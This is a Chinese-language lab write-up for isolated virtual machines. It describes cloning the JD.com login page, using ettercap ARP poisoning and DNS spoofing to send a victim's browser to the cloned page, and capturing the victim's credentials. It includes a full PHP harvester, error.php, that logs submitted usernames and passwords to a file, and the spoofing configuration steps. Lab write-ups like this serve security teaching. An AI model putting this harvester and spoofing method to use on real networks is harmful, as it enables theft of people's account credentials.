DNS欺骗、ARP攻击及钓鱼
实验目的
使用 kali 虚拟机模拟攻击者,采用 DNS 欺骗、 ARP 攻击的方式来对 XP 系统的用户进行攻击,从而获取该用户访问京东的账户和密码,即钓鱼攻击。
平台环境
kali2.0 平台;
安装 XP 系统的虚拟机;
搭建了 DNS 和 IIS 服务的 windows server 2003 虚拟机;
全网互通,即一个局域网下;
构造好的钓鱼网站;
实验步骤
制作钓鱼页面(以京东页面为例)
在浏览器中打开京东的网站,在空白处鼠标右键,然后选择“另存页面为”
然后, 在弹出的窗口中, 选好保存的位置, 对文件名重命名(尽量简写, 扩展名为 html),
保存类型为(网页, 全部) , 然后点击保存,
对保存的页面进行修改, 用代码编辑器打开 jd.html, 然后加入 form 表单,提交方式为 POST, 用 input 控件记录用户名和密码, 保存并退出,把jd.html改为index.html。
制作重定向页面error.php 来记录获取到的用户名和密码, 并写入到1.txt 文件。
以上需要的资料, 本实验已经整理好。
error.php:
<?php
$ref = $_SERVER['HTTP_REFERER']; //获取前一页面的 URL 地址
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES); // 转换双引号和单引号
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = $today . " -- " . $ref . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt", "a+");
@fwrite($filed, "$content\n");
@fclose($filed);
}
?>
<html>
<head>
<script type="text/javascript">
function goBack()
{
window.history.back() //后退+刷新
}
</script>
</head>
<body onload="goBack()"> <!-- 加载之后立即执行一段 JavaScript -->
</body>
</html>
网络互通
| PC | IP | MAC |
|---|---|---|
| win xp(受害者) | 10.1.1.1 | 76 |
| kali(攻击者) | 10.1.1.2 | 95 |
| win 2003(服务器) | 10.1.1.3 | 39 |
搭建服务器
在win2003上搭建一个IIS的web服务器,提供”真的”京东页面
在win2003上搭建一个DNS服务器,提供域名解析服务

然后检验一下是否搭建成功,在xp中访问www.jd.com

若没成功,检查一下xp的DNS服务器是否填的是10.1.1.3
搭建攻击环境
然后再kali上搭建一个”假的”京东页面,记得要给apache权限
chmod 777 *
尝试用xp提交表单

访问的是10.1.1.2,就是攻击机的假的京东网站,然后我们随便输入一个密码(我自己都不知道输的啥)

提交之后在kail的1.txt文本里面就有了表单记录,说明搭建成功
开始攻击
配置ettercap
修改 DNS 欺骗配置文件, 使用 vim 编辑器, 命令
vim /etc/ettercap/etter.dns

启动ettercap
嗅探主机:

arp投毒

此时查看winxp和win2003的arp记录,都是kali的MAC,说明ARP欺骗成功
DNS投毒

验证
在xp上验证一下
先清理一下dns缓存
ipconfig /flushdns
查看dns解析
nslookup www.jd.com

发现www.jd.com指向的是kali的ip地址,说明DNS欺骗成功
再使用浏览器访问www.jd.com

提交表单,在kali里查看

成功拿到账号密码。
实验完成。